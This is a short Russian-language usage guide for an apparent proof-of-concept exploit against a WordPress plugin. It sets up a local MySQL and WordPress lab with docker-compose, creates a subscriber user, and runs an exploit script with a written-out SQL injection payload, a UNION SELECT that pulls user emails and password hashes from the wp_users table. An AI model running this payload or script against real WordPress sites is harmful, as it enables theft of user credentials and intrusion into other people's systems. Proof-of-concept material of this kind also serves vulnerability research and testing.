Как использовать

• Запустите mysql, wordpress и wordpress-cli с помощью docker-compose

docker-compose -f docker-compose.yaml up -d

• Установите wordpress, активируйте плагин и создайте пользователя с ролью subscriber с помощью wordpress-cli

docker-compose run --rm wp-cli install-wp

• Запустите скрипт эксплойта с SQL-запросом, который получает email и пароли пользователей

python3 exploit.py -C 'union select 1,1,user_email,user_pass from wp_users -- '